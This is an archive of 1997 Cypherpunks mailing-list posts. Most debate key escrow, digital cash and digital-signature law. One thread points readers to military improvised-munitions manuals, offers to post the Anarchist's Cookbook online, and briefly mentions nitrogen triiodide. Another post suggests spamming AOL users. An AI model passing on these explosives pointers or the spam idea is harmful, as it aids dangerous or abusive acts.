From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 29 Jun 1997 07:18:58 +0800
Subject: mailing list
In-Reply-To: 
Message-ID: 



CENSORSHIP!!!!

Declan McCullagh  writes:

> No. Never.
>
> -Declan
>
> On Sat, 28 Jun 1997 CrShNDy at aol.com wrote:
>
> > I want on the mailing list please
> >
> >
>


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat Jun 28 16:19:36 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 29 Jun 1997 07:19:36 +0800
Subject: Bomb-making instructions....
In-Reply-To: <3.0.2.32.19970628094411.006c20b8@netcom10.netcom.com>
Message-ID: 



Lucky Green  writes:
> I would urge anyone interested in explosives, but unfamiliar with them, to
> first read the following books before attempting any recipes out of the
> "Anarchist's Cookbook" and similar publications. Your
> extremities/eyes/health will thank you.
>
> TM 31-210 Army Technical Manual "Improvised Munitions Handbook"
> TM 31-201-1 Army Technical Manual "Unconventional Warfare Devices and
> Techniques: Incendiaries"
>
> Both paperbacks can be purchased at any gun show for about $5 each.
>
> You also should take a look at the
> "ATF - Explosives Law and Regulation" aka "The Orange Book".
>
> It is available for free at any ATF field office. No, they won't ask for
> ID. In fact, they couldn't care less who comes by to pick up a copy.

How about running them through a scanner and putting them on a Web site?

[For various reason I'm typing this under Windows 95. Yikes! :-) ]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From stewarts at ix.netcom.com  Sat Jun 28 16:28:19 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sun, 29 Jun 1997 07:28:19 +0800
Subject: NRA and National Online Records Check bullshit
In-Reply-To: 
Message-ID: <3.0.2.32.19970628161719.0311b334@popd.ix.netcom.com>



At 01:20 PM 6/27/97 -0700, Alan wrote:
>I expect it will be extended further on down the line.  "Hold on a for a
>few minutes.  We seem to be having some problem with your records check."
>Meanwhile, the local/state/federal/illuminati are on their way to
>apprehend the miscreant.

Heh - it's already that way in some places if you try to
buy a car with cash :-)

>> (Somehow most people think it's OK that convicted felons lose their rights
>> to vote and to have guns. (Once they're released, of course.) Do they think
>> convicted felons no longer have religious freedom? Can no longer write as
>> they wish? Jeesh.)
>
>I find it interesting that they find the right to vote as dangerous as the
>right to own a gun.  

After the results of the 1990 Census were in, New Jersey was re-gerrymandering
their Congressional District boundaries.  Aside from the usual goals
(making sure the Republicans, who were then in power, had solid districts),
there were the usual concerns about racial balance, so they wanted to
create a district in the east-central side of the state that was mostly 
minority (largely Hispanic, in this case).  The first cut didn't have
enough minorities, so they moved the boundary to include Rahway Prison.
The legal system being what it is, the residents are largely minority .....
and most of them can't vote :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From bennett_t1 at popmail.firn.edu  Sat Jun 28 16:39:31 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Sun, 29 Jun 1997 07:39:31 +0800
Subject: mailing list
In-Reply-To: <199706281603.JAA02917@fat.doobie.com>
Message-ID: <33B5AB2C.D94F2237@popmail.firn.edu>



Huge Cajones Remailer wrote:

> >I want on the mailing list please
> >
> >
> haha

   Yes, this is funny.  I rarely get to see people of this intelligence.






From kent at songbird.com  Sat Jun 28 16:42:55 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 29 Jun 1997 07:42:55 +0800
Subject: Hettinga's e$yllogism
In-Reply-To: 
Message-ID: <19970628163155.33743@bywater.songbird.com>



On Sat, Jun 28, 1997 at 11:13:17AM -0700, Tim May wrote:
> At 10:11 AM -0700 6/28/97, Kent Crispin wrote:
> 
> >So how is that different than the current situation without
> >cryptography?  If people couldn't live with key escrow, how can they
> >live with the current situation?  Answer:  they live with the current
> >situation because the government abuses you describe are kept below
> >the revolution threshold.  The same would be the case with key escrow.
> 
> Not intending to squelch the thread by invocation of Godwin's Law, but how
> does Nazi Germany fit into this model?

?How does Nazi Germany fit into any model?

> In case this isn't clear, the concern is that a GAK system is very
> dangerous should a Nazi-like regime develop (or even should a J. Edgar
> Hoover and/or Craig Livingstone regime develop). While regimes  of the past
> few decades _may_ not be abusive in this way (apologies to Reagan, Bush,
> and Clinton haters out there), the deployment of GAK would be a tempting
> target for future despots and satraps.
> 
> Thanks, but I'll keep my own records, my own crypto keys, and my own money.

Of course it would.  So would current bank/brokerage/business records. 
So would your personal records (if they were interesting) and money
(if there was enough of it).  Certainly keys in a government TTP would
be a easier target than some.  But (since we are here) Nazi Germany is
proof that there are plenty of other targets, perhaps not quite as
juicy, but just as viable.  And Nazi Germany is also proof that strong
crypto really doesn't do much good when the rubber hoses can be
deployed without hinderance.

In fact, your safety and wealth depends in large measure on the
protections provided by that government you scorn.  In any healthy
tyranny the jackboots would have been on your throat long ago,
regardless of your little arsenal, and your money would be purchasing 
toys for the rulers.

> >But so what? Right now the government has intimate knowledge of your
> >finances through tax records and other sources, and has the power to
> >put liens on your property and your cash for all kinds of reasons.
> 
> This overstates the knowledge the government has of our finances. 

Perhaps.  It's a mere matter of degree, though -- the point is that 
the government already has power to compel reporting in many cases, 
and life goes on...

[...]

> My view on GAK is quite simple: let those who wish to escrow their keys do
> so. Let those who don't wish to keep their own keys and use crypto
> algorithms of any strength they desire.

Well, good.  That's my view of it, also.

> >Assuming certain models of key escrow, yes.  Under other models, no.
> >But imagine the worst case -- GAK creates a huge unwieldy expensive
> >computerized infrastructure and associated bureacracy.  What
> >happens?  Businesses find other ways to protect their data and
> >transactions, huge economic inefficiencies develop, and the whole
> >thing collapses and goes away.
> >
> >It's amazing how little faith libertarians have in the market system,
> >isn't it?  :-)
> 
> A cheap shot, even taking into account Kent Crispin's shilling for GAK.

Like shooting fish in a barrel, really.  Anyway, you know that I don't
favor GAK, so where are you coming from?  All I have ever said is 
that there is strong corporate demand for enterprise level key 
recovery. 

> If a key escrow system is in fact purely voluntary, who cares? I, for one,
> don't.
> 
> (Though I often look at "voluntary" systems with an eye toward what I call
> the "flag day scenario," where a legislative or executive-level "switch" is
> thrown and what was once voluntary becomes mandatory. I oppose government
> involvement in infrastructures which could too easily become mandatory.)

That's the rub.  You say "voluntary -- who cares", but fight tooth and
nail when customer demand forces companies like PGP and TIS to
implement some form of key recovery -- rather than face the facts, you
claim it's all government pressure and brainwashing, and advocate
employee sabotage of company products.  Well, there certainly is
government pressure, but there is *also* legitimate, informed, demand. 

[Your description of legitimate, informed, demand deleted]

> And, as nearly all of us (_nearly_ all of us!) have pointed out,
> repeatedly, whatever the putative need for key recovery is within
> corporations, there is essentially no need for such a thing for
> *communications*! The only viable customer for a communications key is
> someone who has intercepted the communication!

Certainly.

[...]

> So, will government please drop all consideration of "key recovery" for
> _communications_?
> 
> (I rather doubt this.)

I rather doubt it, also.  However, escrow of communications keys is,
in my opinion, not only completely illegitimate, but idiotic from
a technical point of view.  So, I think this effort on the part of the
gov will fail.  

> >Governments have devalued currencies many many times in the past
> >without the need of key escrow...key escrow is an independent issue.
> 
> Sure, but one of the potential advantages of strong crypto is the
> oft-discussed "denationalization of money." Leading bankers are beginning
> to see the light on this.

Some might see this as ultimate fascism...in the long run, putting the
force monopoly purely under control of those with money.  In any 
case, speculation.

> (See, for example, the cover story in "Wired" several months ago, where the
> blurb was about Walter Wriston "sounding like a cypherpunk.")

I generally don't read "Wired".  Geez -- I don't even have time to
read the "archives"...  :-)

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From dlv at bwalk.dm.com  Sat Jun 28 17:00:22 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 29 Jun 1997 08:00:22 +0800
Subject: Bomb-making instructions....
In-Reply-To: <0nhIq3200YUf03JXo0@andrew.cmu.edu>
Message-ID: 



Jeremiah A Blatz  writes:
> Just for the record, _The Anarchist's Cookbook_ is full of
> purposefully dangerous misinformation. It is written so that if you
> follow enough of its recipies, you *will* kill yourself. I suggest old
> archives or the newsgroup rec.pyrotechnics, which, until is self-
> censored itself, provided excellent safety advice as well as how to
> make things go boom. I'd imagine that there is still a wealth of
> information about safety.

I have the cookbook and can post it on a Web site. A while back I asked
Jim Bell if he'd be willing to write short comments, like "this is
bullshit" and "this is dangerous" and "here's a better way to make
it stink".  If anyone knows chemistry and isn't in jail yet, please
consider doing this wortwhile project.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From bennett_t1 at popmail.firn.edu  Sat Jun 28 17:28:08 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Sun, 29 Jun 1997 08:28:08 +0800
Subject: mailing list
In-Reply-To: <199706282214.PAA09700@fat.doobie.com>
Message-ID: <33B5B258.F5BAA05A@popmail.firn.edu>



Huge Cajones Remailer wrote:

> Why the fuck are there so many requests from aol ?
> thats eerie if you ask me.

   Simply becuase AOL users are stupid, although a few smart ones exist
(they can't be *too* smart if they use AOL), but in small numbers.  I
suggest we spam or set up a bot to spam any AOL user who does this.






From rah at shipwright.com  Sat Jun 28 19:20:31 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 29 Jun 1997 10:20:31 +0800
Subject: Hettinga's e$yllogism
In-Reply-To: <19970628101134.52512@bywater.songbird.com>
Message-ID: 



At 2:13 pm -0400 on 6/28/97, Tim May wrote:

   Kent (With a Brick, Mr.) Chrispin emetted:
> >Governments have devalued currencies many many times in the past
> >without the need of key escrow...key escrow is an independent issue.
>
> Sure, but one of the potential advantages of strong crypto is the
> oft-discussed "denationalization of money." Leading bankers are beginning
> to see the light on this.

I wonder if Mr. Chrispin has ever heard of George Soros, or does the
adventures of St. George and the BofE dragon smack too much of, horrors,
capitalism? (Modulo Soros' ocassional self-flagellatory Atlantic article,
of course. Knight-errants are all into that mortifying the flesh stuff. Or,
maybe he's just trying to hedge his bets or something...)


Anyway, on the same note, and, as a result of the Wired article this month
on FC97 (I finally saw it, and it's not as bad as I thought it was going to
be. I guess as long as they spell my name right...), I just got request for
an interview from a staff writer from Forbes. He's writing on this very
thing, the macroeconomic effect of transanational digital cash. His very
words to me were:

> An editor of mine liked the story so much he told
> me to expand it (a.k.a. totally rewrite it) looking at whether or not a
> boom in the use of electronic money might not render governmental
> monetary control irrelevant as well. Looking at the issue from that
> angle is convincing me that the answer is yes, and that the real story
> here is about crypto.

He's going to interview me on Tuesday, after the DCSB meeting.

God help us all. :-).

When I replied to him, I gave him the whole nine yards, poor guy. Hope I
didn't scare him off: financial cryptography, the ubiquitous geodesic
economy, cryptomoney, etc. (Including, of course, the, um, "excrable"
e$yllogism. ;-)) I also gave him a whole passle of people to talk to about
it, including David Friedman, who reported on another list lately that he's
brought father Milton around to believing in the inefficiency of central
banking compared to free banking, particularly in a world of ubiquitous
internetworks and financial cryptography. I also sent him on to Tatsuo
Tanaka, who did a presentation about a year ago at DCSB on, you guessed it,
the transnationality of digital cash. :-). (Of course, Tatsuo's thinking
then was that some global run or another on free$banks would end in the
creation of a central bank of cypherspace, but, maybe, he's *much* better
now. :-))


I didn't include you on that list, Tim, because I remember you saying
something about not being bothered with such reporter.cruft anymore, and
how coupling financial cryptography with strong cryptography in the eyes of
the press and the financial establishment didn't make any sense, but, in
case you want him to misquote us *both* and scare all those capitalist
tools out there half to death, let me know and I'll send him your way.

Or, maybe such glad tidings will make them all want to help us dance a jig
on the eventual grave of the nation-state, you never know. The rich and
hoity-toity are very different from you and me. Well, *me*, anyway...

(Did I ever tell you the story about how my old man built a sailboat on St.
Thomas without ever having really sailed much, and, the boat was so fast
that it won *lots* of silver, so much silver that he made the New York Post
(I think) about it, and, having read that article, Malcom Forbes came down
to the islands that fall, and invited Pop to hang out with him on
Highlander for a few days?

No?

Well, my old man built a sailboat on St. Thomas, you see,...)


 "My country tis of thee, land of
plutography..." 

Cheers,
Bob Hettinga




-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From tzeruch at ceddec.com  Sat Jun 28 20:01:26 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Sun, 29 Jun 1997 11:01:26 +0800
Subject: Hettinga's e$yllogism
In-Reply-To: <19970628101134.52512@bywater.songbird.com>
Message-ID: <97Jun28.225157edt.32257@brickwall.ceddec.com>



On Sat, 28 Jun 1997, Kent Crispin wrote:

> But so what? Right now the government has intimate knowledge of your
> finances through tax records and other sources, and has the power to
> put liens on your property and your cash for all kinds of reasons.  
> And indeed, all too frequently it gets out of control.  But the 
> bottom line is that business in the US continues to function.  It 
> would continue to function with key escrow, as well.

They can easily put a lein on MY property, but (except for some abuses
which are the subject of lawsuits), they can't put a lein on something
that has been sold and resold that is now someone else's.  With GAK$, they
can cancel every $20 e-bill I have ever spent, those I currently own, and
those I have transferred to others in exchange.

> Assuming certain models of key escrow, yes.  Under other models, no.  
> But imagine the worst case -- GAK creates a huge unwieldy expensive 
> computerized infrastructure and associated bureacracy.  What 
> happens?  Businesses find other ways to protect their data and 
> transactions, huge economic inefficiencies develop, and the whole 
> thing collapses and goes away.
> 
> It's amazing how little faith libertarians have in the market system,
> isn't it?  :-)

Actually I expect exactly what you describe to happen.  In various other
posts and venues, I have said in some form that "The government won't be
overthrown in a revolution, it will be obsoleted by technology". 

But waiting for the market to take effect may not be short or pleasant.
Look how long it took for the Soviet empire to collapse.






From alan at ctrl-alt-del.com  Sat Jun 28 20:05:52 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Sun, 29 Jun 1997 11:05:52 +0800
Subject: Bomb-making instructions....
In-Reply-To: <0nhIq3200YUf03JXo0@andrew.cmu.edu>
Message-ID: <3.0.2.32.19970628193921.03fcbd50@mail.teleport.com>



At 06:54 PM 6/28/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>
>Jeremiah A Blatz  writes:
>> Just for the record, _The Anarchist's Cookbook_ is full of
>> purposefully dangerous misinformation. It is written so that if you
>> follow enough of its recipies, you *will* kill yourself. I suggest old
>> archives or the newsgroup rec.pyrotechnics, which, until is self-
>> censored itself, provided excellent safety advice as well as how to
>> make things go boom. I'd imagine that there is still a wealth of
>> information about safety.
>
>I have the cookbook and can post it on a Web site. A while back I asked
>Jim Bell if he'd be willing to write short comments, like "this is
>bullshit" and "this is dangerous" and "here's a better way to make
>it stink".  If anyone knows chemistry and isn't in jail yet, please
>consider doing this wortwhile project.

I can give one minor example from memory...

The recipe for Nitrogen Tri-Iodide has four steps to it.  The first two
make the proper chemical.  The second two are drying agents that will make
the stuff blow up in your face.

The book has a number of other risky recipes.  It also contains the
infamous (false) "Banana Peel" rumor about how smoking banana peels can get
you high. A recipe for LSD that is pretty poor.  A bunch of other bogus
drug stuff... 

There are much better sources for info on explosives.  The government
publications do a pretty good job.  (I have seen a few on "how to make
explosives from common items" and the like.  Training for military
personnel trapped behind enemy lines and traing local governments for
uprisings and the like...  The CIA even did a comic book for distribution
in South America.



---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From grant at letzlink.com  Sat Jun 28 20:13:11 1997
From: grant at letzlink.com (grant at letzlink.com)
Date: Sun, 29 Jun 1997 11:13:11 +0800
Subject: Let's Link
Message-ID: <199706290251.TAA03603@toad.com>



Let's consider linking!

I invite you to visit Let's Link and add your site along with a brief description of your site content to our Internet Resource Center ... perhaps, our Let's Link & Links. 

Although, our "Add Your Link" service is FREE, we do ask you to reciprocate with a LINK at your site .... not required but highly appreciated.  

Our site visitation now exceeds 2,300 per/day!  25% Europe.... 70% North America... 5% Asia

Regards,

Frank Bertotti 
http://www.letzlink.com


 






From stewarts at ix.netcom.com  Sat Jun 28 23:08:48 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sun, 29 Jun 1997 14:08:48 +0800
Subject: Bomb-making instructions....
In-Reply-To: <3.0.2.32.19970628094411.006c20b8@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970628230229.03119a94@popd.ix.netcom.com>



At 01:44 PM 6/28/97 -0400, Jeremiah A Blatz  wrote:
>Just for the record, _The Anarchist's Cookbook_ is full of
>purposefully dangerous misinformation. It is written so that if you
>follow enough of its recipies, you *will* kill yourself.

No surprise - a book on bombmaking has so little to do with anarchism*
that you'd expect the author to either be clueless or spreading
disinformation, so there's no reason to expect his bomb-making info to 
be correct either.

[*Ok, there have been a few anarchists who've thrown bombs,
and anarchists who _like_ that sort of thing aren't going to pay
much attention to the government's opinion on whether bombs ar cool,
and if there are many chemically clueless bomb-loving anarchists,
some of them _might_ get their books published before Darwin 
removes them from the meme pool, but the couple of books like that
strike me as either deliberate disinformation, or else as
particularly negligent attempts at making a fast buck from
rebellious teenagers.]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Sat Jun 28 23:37:15 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sun, 29 Jun 1997 14:37:15 +0800
Subject: mailing list
In-Reply-To: <199706282214.PAA09700@fat.doobie.com>
Message-ID: <3.0.2.32.19970628231133.0312314c@popd.ix.netcom.com>



At 03:14 PM 6/28/97 -0700, Huge Cajones Remailer wrote:
>Why the fuck are there so many requests from aol ?
>thats eerie if you ask me.

Because there was just an article in Wired on the
Cypherpunks Anguilla conference, so people who are
not necessarily Internet-literate but do like
Rilly C00L Stuf an' Garish GrafiX are poking around
trying to find more c00l stuf....

It's the price of publicity, and if you don't like it,
go read Ender's Game again.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From pooh at efga.org  Sun Jun 29 00:05:09 1997
From: pooh at efga.org (Robert A. Costner)
Date: Sun, 29 Jun 1997 15:05:09 +0800
Subject: Secure Authentication
In-Reply-To: <3.0.2.32.19970627134844.03400910@mail.atl.bellsouth.net>
Message-ID: <3.0.2.32.19970629025104.033fe46c@mail.atl.bellsouth.net>



-----BEGIN PGP SIGNED MESSAGE-----

At 01:26 PM 6/27/97 -0700, Eric Murray wrote:
>And another question is should government be involved at all?
>My answer to that is no, not for the setting of CA policy.
[CA is Certification Authority]

While I wholeheartedly and forcefully agree with Eric's sentiment, the 
business reality is that the gov't will be involved in setting CA policy.  If 
for no other reason, simply because CA's will be used by the gov't.  Even 
from a hands off, pro business viewpoint, few CA's will ignore the wishes of 
their largest customer, the gov't.

The gov't will be involved in CA policy for several reasons.  I'll lightly 
glance on some of them.

 * Beeps and chirps.  Signatures on paper have legal meaning.  This is why 
there is a push to use digital signatures - to give them legal meaning.  
While contract law can be somewhat applied to this concept, many would agree 
that official acknowledgement of digital signatures is a key element of using 
digital signatures in commerce.  A recent case in Georgia's supreme court 
ruled that electronic messages were beeps and chirps, and had no legal status 
as a "writing".  The law continually refers to signatures and writings.  
There must be a law, or interpretation of law to allow for this to be updated 
to electronic writings.  Even if mutual consent could be used between 
corporations, as the state moves to the cost savings of electronic commerce 
the state will have to impose laws to enable itself to take advantage of 
these technologies.

At 01:26 PM 6/27/97 -0700, Eric Murray wrote:
>The biggest problem with CAs and the law is legal liability.  The liability
>of being a CA is currently unknown until there is case law on the topic.

 * Resolving legal liability.  Some of the proposed laws for enabling digital 
signature technology do in fact solve the liability problem for CA's by 
legislating it out as long as the CA performs due diligence.  To enforce due 
diligence, some laws also provide for government auditing of CA procedures 
and for injunctive relief to shut down a "rogue" Certification Authority.

A copy of one such overly bureaucratic 22 page Certification Authority law 
can be found at http://www.efga.org/digsig/lawdraft.html  This is the 
original draft of Georgia's Digital Signature law.  This draft was thrown out 
and rewritten from scratch to form a much better law.  (assuming any law can 
be good)

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM7YF00GpGhRXg5NZAQGnEAH+JRioBgJi2UIK1SkBBtaACNHCsd6nYbyU
Q5/57jni0VV1AejCK7tOCFN1KfPe43dKlnsplBrO+spBf7Lt9j90Mw==
=pAgj
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From nobody at huge.cajones.com  Sun Jun 29 04:01:58 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 29 Jun 1997 19:01:58 +0800
Subject: CIA's Manual on Assassination Politics
Message-ID: <199706291046.DAA21950@fat.doobie.com>



Tim May wrote:
> We are trading away our liberty for bullshit assurances of safety,
> security, and protection from the Big Bad Wolf. (*)
> 
> (* And of course the restrictions on publications of various items are
> really designed to protect Those in Power; thus has it always been, thus
> shall it always be.)

Rapist: "I'm using a condom for _your_ protection."
Victim: "Is that why you stole _my_ money to buy it?"







From nobody at huge.cajones.com  Sun Jun 29 04:06:00 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 29 Jun 1997 19:06:00 +0800
Subject: Dr. Netscape / Re: More about Netscape Bug finder
Message-ID: <199706291046.DAA21946@fat.doobie.com>



Lynne L. Harrison wrote:

> This reminded me to ask if anyone knows if, per their statement, Netscape
> intends to u/l a patch for the 3.x versions.  When I checked yesterday, I
> didn't see any reference to it.

  Why would you expect Netscape to make reference to the fact that
use of their browser leaves you open to violation of your privacy
and security? Corporations are not expected to show concern about
keeping their customers well-informed in regard to problems that 
arise with their product--they are expected to pretend, as much
as possible, that problems don't exist (even if it may result in
disastrous consequences for the customers who foolishly trust
the company to act with integrity and professionalism).

  Netscape software is my browser of choice. I like the product,
I like the company, and I like what I know of the people involved
in the company.
  Despite these facts, however, I recognize that reality is merely
a shallow reflection of classic Hollywood movies, and "Invasion
of the Body Snatchers" is currently playing at the Netscape cinema
complex.
  You may have already seen this movie, at your own corporate
cinema, so you know how the plot goes... You wake up one morning
and realize that behind the glazed eyes of your formerly human
co-workers, lurks the alien energy of a communal corporate soul.

  The company spokesperson (who has two cute kids and a dog that
are always a hit at the company picnic) has turned into an alien
life-form which is telling the press and public that the chemical
spill near the high-school has nothing to do with the hands that
are now growing out of the students' foreheads.
  The company president (who risked his job to support a decent
employee health-plan against the investor's wishes) begins to
speak about a "ten year study" to determine why 20% of the
company employees develop a rare form of cancer every year.
  Your best friend at the company changes the subject when you
mention the growing number of the company's customers who seem
to have an extra ear growing on their forearm. You can tell
that your best friend is looking into your eyes and trying to
discern if you are one of "them."

  A twenty-dollar street hooker will sometimes have time to join
you for coffee and a burger at the conclusion of a business
transaction, but a high-priced call-girl invariably recognizes
the danger of true personal contact adversely affecting future
cash flow.
  For the same reason, the corporate legal team would rather
discuss the responsibility for your failing health in a sterile
boardroom, than during dinner at your house with the whole
family present.

  It is probably in Netscape's best short-term financial interest
to downplay the full implications of the "bug" in their software,
as well as avoiding revealing the true reasons for this "bug"
existing in the first place. However, I would much rather visit
their website and see a big, red "Warning!!!" sign flashing at
the top, with a pointer to full information about the nature
and effect of the "bug," as well as disclosure of facts that
would allow me to judge what level of trust I should use in the
future in regard to the company and their products.
  After all, in terms of security, we can consider ourself to
be "sleeping" with those whose software we use. If it appears
that they are avoiding being fully honest about whether or not
they are practicing "safe software" in the best interests of
both themself and their "Johns," then perhaps we should think
about changing our "sleeping" habits.

  The bottom line is that it does not reflect well on Netscape
to have their customers and/or software users checking with the
members of mailing lists (and the checkout clerk at the local
QuickMart) to find out if there is any chance that they may be
able to use Netscape's product safely in the future.
  I did a quick review of the Netscape documentation and found
it gives no indication that users should inquire at the local
QuickMart for information about problems and bug fixes for
their products.

TruthMonger
~.~.~.~.~.~
DISCLAIMER:  I am not your hooker; you are not my John.
             Accordingly, the above is *NOT* illegal advice.







From lucifer at dhp.com  Sun Jun 29 05:23:51 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 29 Jun 1997 20:23:51 +0800
Subject: Details of HR 666
Message-ID: <199706291210.IAA22794@dhp.com>



>   Under clause 0 of rule XYZ, the following action was taken by the
> Speaker:
> 
>        H.R. 666. A bill to amend title 0, United States Code, to
>      affirm the rights of U.S. persons to breathe the air around
>      them and to relax export controls on wind; with an
>      amendment; referred to the Committees on Commerce, National
>      Security, and the Permanent Select Committee on intelligence
>      for a period ending not later than September 5, 1997, for
>      consideration of such provisions of the bill and amendment
>      reported by the Committee on the Judiciary as fall within the
>      jurisdiction of those committees pursuant to clause 0(e) and
>      (k), rule XYZ and rule XLVIIIX, respectively.







From dlv at bwalk.dm.com  Sun Jun 29 06:36:19 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 29 Jun 1997 21:36:19 +0800
Subject: mailing list
In-Reply-To: <33B5AB2C.D94F2237@popmail.firn.edu>
Message-ID: 



bennett_t1 at popmail.firn.edu writes:
                        ^^^
> Huge Cajones Remailer wrote:
>
> > >I want on the mailing list please
> > >
> > >
> > haha
>
>    Yes, this is funny.  I rarely get to see people of this intelligence.

You'd see more if you taught.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From whgiii at amaranth.com  Sun Jun 29 08:44:13 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 29 Jun 1997 23:44:13 +0800
Subject: Digital Signatures & THE LAW???
Message-ID: <199706291535.KAA05045@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

Has there been any concideration for the difference between a digital
signature that is used only for authentication and one that is legally
binding??

I would hate for these Digital Signature Laws make every e-mail message I
sent a legally binding document. :(

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7aBbI9Co1n+aLhhAQHsCwP/dUQ6jixcfYCkLLFkZomM5gzCysRjnlr3
rGjXMMDyVZ2OQn2ZjSJ+TmrocbmZy2yNolBquRN0w0PjnGbC8k8ZCFxW8C4xHX9B
CBf7XNGijoFxi3DTVViTv/i+waLX6sfJM1fp9IpUe7Da5fOb6vqf0rXNDPwdVLIB
Sn0rJodgqho=
=+Bcp
-----END PGP SIGNATURE-----






From alan at ctrl-alt-del.com  Sun Jun 29 11:04:08 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Mon, 30 Jun 1997 02:04:08 +0800
Subject: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>



While reading the latest issue of Dr. Dobbs, I found something of interest...

Dr. Dobbs Essential Books on Cryptography and Security CD-ROM
Price $99.95

Includes the following books:

-- Applied Cryptology, Cryptographic Protocols, and Computer Security
Models by Richard Demillo

-- Applied Cryptography: Protocols, Algorithms, and Source Code in C,
Second Edition by Bruce Schneier

-- Contemporary Cryptology: The Science of Information Integrity edited by
Gustavus J. Simmons

-- Cryptography and Data Security by Dourthy Denning

-- Cryptography: A New Dimension in Computer Data Security by Carl Meyer

-- Cryptography: Theory and Practice by Douglas Stinson

-- Handbook of Applied Cryptography by Paul C. Van Oorschot, Scott A.
Vanstone, and Alfred Menezes

-- Military Cryptanalysis, Volumes I-IV by William Friedman

-- "RSA Laboratories FAQ on Cryptography," "RSA Labratories Technical
Reports," "RSA Laboratories Security Bullitens," and "CryptoBytes Newsletter".

The CD-ROM also boasts having a search engine.  (No indication as to what
OS.  Probably Wintel only.)

It is supposed to be shipping in July.

It is only available to US customers.

Phone orders: 1-800-992-0549
E-mail: orders at mfi.com
Fax: 913-841-2624

Mail:
  Dr. Dobbs CD-ROM Library
  1601 West 23rd St, Ste. 200
  Lawrence, KS 66046-2703

[Disclaimer: I have nothing to do with Dr. Dobbs other than being a
subscriber.]

I plan on getting it as it has at least one book I have been planning on
buying that costs about what the CD-ROM runs...  I will tell people how
good it is when I get it.

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From . at lox2.loxinfo.co.th  Mon Jun 30 02:17:40 1997
From: . at lox2.loxinfo.co.th (. at lox2.loxinfo.co.th)
Date: Mon, 30 Jun 1997 02:17:40 -0700 (PDT)
